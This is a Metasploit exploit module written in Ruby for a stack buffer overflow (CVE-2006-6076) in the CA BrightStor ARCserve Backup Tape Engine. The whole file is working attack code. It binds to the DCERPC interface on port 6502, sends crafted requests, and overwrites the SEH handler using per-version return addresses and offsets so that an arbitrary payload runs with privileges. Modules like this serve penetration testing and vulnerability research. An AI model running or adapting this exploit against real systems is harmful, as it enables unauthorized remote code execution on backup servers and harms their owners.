## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow the buffer and execute arbitrary code. }, 'Author' => [ 'MC', 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2006-6076' ], [ 'OSVDB', '30637' ], [ 'BID', '21221' ], [ 'URL', 'http://www.milw0rm.com/exploits/3086' ], [ 'URL', 'http://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=101317' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -9500, }, 'Platform' => 'win', 'Targets' => [ [ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004 [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/???? ], 'DisclosureDate' => 'Nov 21 2006', 'DefaultTarget' => 1)) register_options([ Opt::RPORT(6502) ], self.class) end def exploit connect handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") request = "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00" request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" dcerpc.call(43, request) filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset']) seh = generate_seh_payload(target.ret) sploit = filler + seh print_status("Trying target #{target.name}...") begin dcerpc_call(38, sploit) rescue Rex::Proto::DCERPC::Exceptions::NoResponse end handler disconnect end end